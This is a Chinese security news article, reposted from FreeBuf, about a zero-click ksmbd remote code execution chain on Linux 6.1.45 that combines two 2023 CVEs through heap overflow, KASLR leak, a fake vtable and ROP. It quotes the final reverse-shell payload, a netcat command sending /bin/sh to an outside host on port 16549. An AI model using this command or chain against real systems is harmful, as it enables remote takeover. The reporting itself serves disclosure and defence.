摘要:安全研究人员发现了一种基于历史漏洞的零点击Linux内核KSMBD远程代码执行攻击方式,能够在运行内核态SMB3守护进程ksmbd的Linux 6.1.45(已停止维护两年)系统上实现远程代码执行。

安全研究人员发现了一种基于历史漏洞的零点击Linux内核KSMBD远程代码执行攻击方式,能够在运行内核态SMB3守护进程ksmbd的Linux 6.1.45(已停止维护两年)系统上实现远程代码执行。通过串联两个已认证的历史漏洞CVE-2023-52440和CVE-2023-4130,该攻击实现了无需认证的SLUB溢出和堆越界读取原语,最终触发用户模式助手调用并获得反向Shell,整个过程无需任何人工交互。Part01核心要点串联ksmbd的两个历史漏洞SLUB溢出和越界读取,实现零点击远程代码执行通过堆喷射和溢出kmalloc slab绕过KASLR并劫持伪造的虚函数表通过call_usermodehelper执行ROP链获取反向ShellPart02攻击目标内核态SMB3守护进程ksmbdEternal-Tux团队报告指出,ksmbd模块实现了内核态的SMB3服务器,用于将性能关键任务从用户态卸载。其挑战-响应NTLM认证和扩展属性处理机制在2023至2024年间引入了两个高危漏洞。CVE-2023-52440存在于ksmbd_decode_ntlmssp_auth_blob函数中,未经验证的sess_key_len导致在cifs_arc4_crypt过程中发生可控的SLUB溢出。攻击者通过Impacket工具的ntlmChallengeResponse将会话密钥设置为攻击者提供的blob,从而获得可靠的堆溢出原语。CVE-2023-4130则存在于smb2_set_ea函数中,对smb2_ea_info条目长度的不当验证使得攻击者可以通过认证的扩展属性读取相邻堆块内容。
恶意smb2_ea_info对象
研究人员利用Impacket工具的setInfo和queryInfo函数构造恶意EA缓冲区并泄露内核堆内容,实现了KASLR绕过和精确的堆布局调整。
Part03攻击链分析在启用标准防护机制(SMEP、SMAP、KPTI、KASLR、强化SLUB)的单核测试环境中,攻击首先通过喷射多个TCP连接来分配ksmbd_conn(kmalloc-1k)和ksmbd_session(kmalloc-512)对象对。"喷射-泄露-重试"循环确保有效的会话信息泄露,而"溢出-探测-重试"模式则隔离被溢出的连接。通过滥用SLUB溢出,攻击者破坏ksmbd_session中的Preauth_HashValue指针,将其转换为对kmalloc-1k的任意释放操作。
ksmbd_session对象的溢出与破坏后续基于EA的泄露操作识别目标ksmbd_conn对象,揭示内核指针并计算KASLR基址。获得精确偏移后,第二次SLUB溢出触发对伪造虚函数表对象的任意释放和重新分配。ksmbd_conn中被破坏的local_nls指针被覆盖为指向包含ROP gadget的伪造虚函数表:pop rdi; ret、pop rsi; ret、pop rdx; ret、pop rcx; ret以及leave; ret栈转移指令。最终载荷调用call_usermodehelper("/usr/bin/nc.traditional", "-e", "/bin/sh", "ctfi.ng", "16549")后执行msleep冻结内核线程,在16549端口生成反向Shell。尽管ksmbd在生产环境中的部署有限,但该攻击链凸显了随着用户态模块向内核态迁移,内核攻击面正在不断扩大。Eternal-Tux的研究展示了历史漏洞利用开发的日益成熟,以及严格的内核漏洞管理的迫切需求。参考来源:
0-Click Linux Kernel KSMBD RCE Exploit From N-Day Vulnerabilities
https://cybersecuritynews.com/0-click-linux-kernel-ksmbd-rce-exploit/
电台讨论
来源:FreeBuf
免责声明:本站系转载,并不代表本网赞同其观点和对其真实性负责。如涉及作品内容、版权和其它问题,请在30日内与本站联系,我们将在第一时间删除内容!